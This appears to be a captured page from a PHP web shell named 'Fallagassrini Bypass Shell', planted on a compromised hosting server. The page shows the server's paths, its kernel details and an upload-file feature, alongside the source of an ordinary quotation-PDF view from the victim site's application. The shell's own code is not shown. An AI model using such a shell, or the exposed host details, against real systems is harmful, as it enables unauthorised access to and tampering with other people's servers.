? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sgms/draft/application/views/Training/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sgms/draft/application/views/Training/quotationslippdf.php

<?php
$company=$this->mastermodel->getdatas('company');
$quotation_details = $this->mastermodel->get_data('training_quotation_details',$quotation->training_quotation_id,'training_quotation_id');
$training_proposal_details=$this->mastermodel->get_data_srow('training_proposal_details',$quotation->customer_training_id,'id');

$customer = $this->mastermodel->get_data_srow('customer',$training_proposal_details->customer_id,'customer_id');
$company = $this->mastermodel->get_data_srow('company','1','company_id');
$currency = $this->mastermodel->get_data_srow('currency','1','default_currency');

    $company_name=$company->company_name;
    $company_address=$company->address;
    $company_phone=$company->contact_no;
    $company_email=$company->email;
    $company_website=$company->website;
    $company_logo=$company->logo;
    $flag=0; 
    foreach($quotation_details as $list)
    {
       $flag = $list['discount'];
       if($flag > 0)
           break;
    }
    
    
    

$html='<html>
                  <img src="'.base_url().'assets/images/'.$company_logo.'" width="400" height="148">
      
            <table width="100%">
            
             <tr>
             <td style="text-align:left;">'.$company_name.', '.$company_address.'<br/>Tel: '.$company_phone.', Email: '.$company_email.', Website: '.$company_website.'</td>
             </tr>
             </table>
              <hr>
             <table width="100%">
             <tr>
             <td style="text-align:center;"><b>QUOTATION</b></td>
             </tr>
             <tr>
             <td style="text-align:right">'.$this->mastermodel->convertdatenormalformat($quotation->quotation_date).'</td>
             </tr>
             </table>
            <br/><br/><br/>
            <table   width="100%">
            <tr>
                <td style="text-align:left;"><strong>'.$customer->customer_name.'</strong></td>
             </tr>
              <tr>
                  <td style="text-align:left;">'.$this->mastermodel->getcustomeraddress($training_proposal_details->customer_id).'</td>
             </tr>
		<tr><td colspan="2">&nbsp;</td></tr>
             <tr>
                <td style="text-align:left;">Customer ID: '.$customer->customer_no.'<br/>
                    Quotation Code: '.$quotation->quotation_code.'</td>
             </tr>
              </table>

            <br/><br/>
            <table border="1px" cellspacing="-1" cellpadding="0" width="100%">
            <tr>
                <td style="height:30px;text-align:center;" bgcolor="#cdc9c9">Description</td>
                <td style="height:30px;text-align:center;" bgcolor="#cdc9c9">Fee/Head('.$currency->currency_code.')</td>
                <td style="height:30px;text-align:center;" bgcolor="#cdc9c9">No.of Seats</td>';
                if($flag>0)
                {
                    $html.='<td style="height:30px;text-align:center;" bgcolor="#cdc9c9">Discount('.$currency->currency_code.')</td>';
                }
                $html.='<td style="height:30px;text-align:center;" bgcolor="#cdc9c9">Total('.$currency->currency_code.')</td>
            </tr>';
                $totalamt=0;
                foreach($quotation_details as $list)
                {
                    
                    $totalamt+=$list['total'];
                    if($list['fee_head']>0)
                        $fee_head = number_format($list['fee_head'],2);
                    else
                        $fee_head = '-';
                    if($list['no_pax']>0)
                        $no_pax = $list['no_pax'];
                    else
                        $no_pax = '-';
                 $html.='<tr>
                    <td style="text-align:left;">'.nl2br($list['description']).'</td>
                    <td style="text-align:center;">'.$fee_head.'</td>
                    <td style="text-align:center;">'.$no_pax.'</td>';
                    if($flag>0)
                    {
                        $html.='<td style="text-align:center;">'.number_format($list['discount'],2).'</td>';
                    }
                        $html.='<td style="text-align:right">'.number_format($list['total'],2).'</td>
                </tr>';

        }
        if($flag>0)
            $colspan=4;
        else
            $colspan=3;
       $html.='  <tr>
                    <td style="text-align:right;font-weight:bold;" colspan="'.$colspan.'">TOTAL</td>
                    <td style="text-align:right;font-weight:bold;">'.number_format($totalamt,2).'</td>
                </tr>
        </table>
        
 <br/><br/><br/><br/><br/><br/>';
    if($quotation->terms_conditions!='')
    {
        $html.='<table id="tab" border="1px" cellspacing="-1" cellpadding="15px" width="100%">

                <tr>
                <td style="text-align:center; height:8px;" bgcolor="#cdc9c9">TERMS & CONDITIONS</td>
                </tr>
                <tr>
                <td style="text-align:left;font-size:10px;font-weight:bold;height:100px;">'.nl2br($quotation->terms_conditions).'</td>
                </tr>
           </table>';
    }        
               $html.='<div  style="text-align:right;width:80%;margin-right:50px;margin-top:100px;">Authorized Signatory</div>

</html>';

pdf_create($html, 'Quotationslip');
echo $html
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net